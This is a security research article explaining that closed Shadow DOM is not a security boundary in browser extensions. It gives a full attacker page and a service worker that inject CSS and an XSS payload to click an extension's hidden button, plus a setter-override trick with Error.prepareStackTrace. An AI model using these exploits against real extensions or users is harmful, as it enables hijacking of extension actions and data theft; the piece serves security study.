Skip to main content

Open Closed Shadow DOM

Shadow DOM allows hidden DOM trees to be attached to elements in the regular DOM tree. Shadow DOM

In practice, you can think of it as isolated HTML within another HTML file; however, what is important, unlike an iframe, is that it has a shared JavaScript execution context with the main HTML.

Sometimes extensions use this to display information, buttons, and so on directly to the user on the page.

It is important to understand that Shadow DOM is not a security mechanism, but unfortunately, it is sometimes used in this context...

Remote stylesheets

Let's consider a collective example of code from a content script that I have encountered several times:

const host = document.createElement('div');
host.id="host"
const shadowRoot = host.attachShadow({ mode: 'closed' });

shadowRoot.innerHTML = `<link rel="stylesheet" href="https://cdn.example.com/styles.css">
<p>This content is inside a closed shadow root!</p>
<button id='submit'>ACCESS</button>`;

shadowRoot.getElementById("submit").onclick = ()=>{
console.log("Clicked!")
// ...
}
document.body.appendChild(host);

It seems that there are no problems with this code at all:

  • Closed Shadow DOM is used, so host.innerHTML and host.shadowRoot are inaccessible.
  • Styles are loaded from a third-party site.

However, as I said, the Shadow DOM will have the same JavaScript context as the site on which it runs, so an exploit becomes possible.

First, let's learn how to override styles; here a Service Worker will help us, as this is our site, we can register a worker that simply intercepts the request and replaces it with our own.

Let's place the service worker registration on the attack page:

    <script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./slon.js')
.then(registration => {
console.log('Service worker registered:', registration);
})
.catch(error => {
console.error('Service worker registration failed:', error);
});
}
</script>

And accordingly, the worker itself:

self.addEventListener('fetch', (event) => {
if (event.request.destination === 'style') {
event.respondWith(
new Response(`p { color: red; }`, {
headers: { 'Content-Type': 'text/css' }
})
);
} else {
event.respondWith(fetch(event.request));
}
});

After its registration, you will see that the text inside the shadow root will turn red. But what to do now? In fact, we can turn such a style injection into a full-fledged XSS!

    p{
-webkit-user-modify: read-write;
}

Before continuing, let me explain what -webkit-user-modify is; it is a CSS property that allows us to turn any element into an equivalent of an input tag :)

Here’s how it will look in the browser:

What is this for? - To use document.execCommand - a legacy API that allows inserting and selecting text in writable fields.

After that, we only need to call the following code:

find("This content is inside a closed")
document.execCommand("insertHTML", false, `<img src=1 onerror='this.getRootNode().getElementById("submit").click()'>`)

This code does the following:

  • find locates and selects text from the shadow root.
  • document.execCommand inserts HTML in place of the selection.
  • The HTML contains an XSS payload; this refers to the current tag, and getRootNode() returns the Shadow Root.
  • After that, we get an instance of the button and click it.
Note

According to a comment from Renwa

Sometimes the payload with <img> causes errors.

In that case, use a payload with <svg>.

The finall attacker page:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Slonser</title>
</head>
<body>
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./slon.js')
.then(registration => {
console.log('Service worker registered:', registration);
registration.active.onerror = (event) => {
console.log("An error occurred in the service worker!");
};
})
.catch(error => {
console.error('Service worker registration failed:', error);
});
}
setInterval(()=>{
find("This content is inside a closed")
document.execCommand("insertHTML", false, `<img src=1 onerror='this.getRootNode().getElementById("submit").click()'>`)
},1000);
</script>
</body>
</html>

And service worker:

self.addEventListener('fetch', (event) => {
if (event.request.destination === 'style') {
event.respondWith(
new Response(` p{
-webkit-user-modify: read-write;
}`, {
headers: { 'Content-Type': 'text/css' }
})
);
}else {
event.respondWith(fetch(event.request));
}
});

Inline scripts

There are also cases where the Shadow DOM contains inline scripts, which makes it even easier to trigger clicks or steal text data. Let's consider the following example:

  const host = document.createElement('div');
host.id="host"
const shadowRoot = host.attachShadow({ mode: 'closed' });
shadowRoot.innerHTML = `
...
<img src="https://example.com/avatar/${avatar_id}" onerror="this.src='https://example.com/avatar/blank.png'">
...
<button id='submit'>ACCESS</button>`;
shadowRoot.getElementById("submit").onclick = ()=>{
console.log("Clicked!")
// ...
}
document.body.appendChild(host);

As mentioned earlier, the JS context in such cases is unified, so let's just rewrite the Setter!:

document.createElement('img').__proto__.__defineSetter__("src",()=>{alert()})

Unfortunately, this does not give us a reference to the Shadow DOM, but there is a trick that will allow us to obtain it:

Error.prepareStackTrace = (a,b)=>{
b[0].getThis().parentNode.getElementById("submit").click();
}
document.createElement('img').__proto__.__defineSetter__("src",()=>{throw new Error();})

I understand that this may cause confusion, so let me explain what is happening here:

  • We rewrite the attribute setter so that it throws an error.
  • In V8, when an error is created, Error.prepareStackTrace is called.
  • In Error.prepareStackTrace, the entire CallStack is passed as the second parameter.
  • b[0].getThis() will return the this from the original call that initiated the entire chain. In our case, this is a reference to the <img> tag.
Note

Accordingly, in the case of inline scripts, you can always obtain a reference to the shadow DOM if you find a way to trigger an error in the inline script.